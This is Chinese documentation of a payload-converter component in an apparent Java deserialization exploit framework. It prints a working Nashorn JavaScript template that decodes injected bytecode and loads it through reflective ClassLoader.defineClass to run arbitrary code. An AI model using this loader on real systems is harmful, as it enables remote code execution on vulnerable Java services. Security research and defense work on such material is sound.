- 类别:common 别名:— 优先级:50
- 作者:—
- 依赖:
8 <= jdk <= 14
把内层 gadget 产出的 byte[] 字节码,编码为一段 JavaScript 表达式字符串。与 JsConvert、JsConvert2 同属「字节码 → JS 表达式」转换环,但不使用 Unsafe,改用标准 java.lang.ClassLoader.defineClass 反射加载,以获得最大程度的类兼容性(description:「使用 ClassLoader 进行加载,最大程度上提供类兼容」)。
- 入口
tags:Js_Expr、Expression—— 产物是可被 JS 引擎求值的表达式字符串。 - 衔接
nextTags:BytecodeConvertTag—— 之后接产出原始byte[]字节码的转换环。 excludes:无。
public static String jsTemplate = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n"
+ "var clsString = classLoader.loadClass('java.lang.String');\n"
+ "var bytecodeBase64 = '%s';\n"
+ "var bytecode;\n"
+ "try{ ... clsBase64=loadClass('java.util.Base64'); ... decode ... }\n"
+ "catch (e) { ... loadClass('javax.xml.bind.DatatypeConverter').parseBase64Binary ... }\n"
+ "var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n"
+ "var clsByteArray = (new java.lang.String('a').getBytes().getClass());\n"
+ "var clsInt = java.lang.Integer.TYPE;\n"
+ "var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);\n"
+ "defineClass.setAccessible(true);\n"
+ "var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));\n"
+ "clazz.newInstance();";
private String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
return String.format(jsTemplate, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[])chain.doCreate(context));
}(上方 JS 模板为可读化折行,原始 jsTemplate 为单一长字符串。)逐段解释:
invoke→chain.doCreate(context)取内层byte[],getObject用Base64.encodeBase64String编码后填入模板%s。- 模板 JS 执行逻辑:先取
Thread.currentThread().getContextClassLoader()作为工作类加载器;bytecodeBase64为填入的 Base64 串。 - Base64 解码走双分支:
try用java.util.Base64.getDecoder().decode(...)(反射getMethod('decode', String).invoke),catch回退到javax.xml.bind.DatatypeConverter.parseBase64Binary(兼容缺失java.util.Base64的旧环境)。 - 关键点:反射获取
java.lang.ClassLoader的defineClass(byte[], int, int)三参方法(参数类型分别取byte[]的Class、Integer.TYPE、Integer.TYPE),setAccessible(true)后在classLoader实例上invoke,偏移 0、长度bytecode.length,得到Class对象并newInstance()。 - 与前两者的本质区别:用标准
ClassLoader.defineClass而非Unsafe,因此不依赖sun.misc.Unsafe的可用性,对不同 JDK 小版本的类加载行为兼容性更好,故名「最大程度上提供类兼容」。
本类无 @Param。字节码内容由下游 nextTags=BytecodeConvertTag 的 gadget 决定。
- 依赖
8 <= jdk <= 14:受 Nashorn 引擎生命周期约束(JDK 15 移除 Nashorn)。 - 加载路径为标准
ClassLoader.defineClass反射,避开Unsafe,在Unsafe.defineClass/defineAnonymousClass被限制的环境下更稳。 - Base64 解码带
DatatypeConverter回退,兼容不含java.util.Base64的运行环境。
自由构件,未直接出现在预设链(usedInChains 为空)。可作为 JsConvert 的兼容性替代,在需要 JS 表达式载体的自定义链中使用。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert → Exec 等。 - 同族转换环:JsConvert、JsConvert2。
- JS 命令执行 sink:JsExec。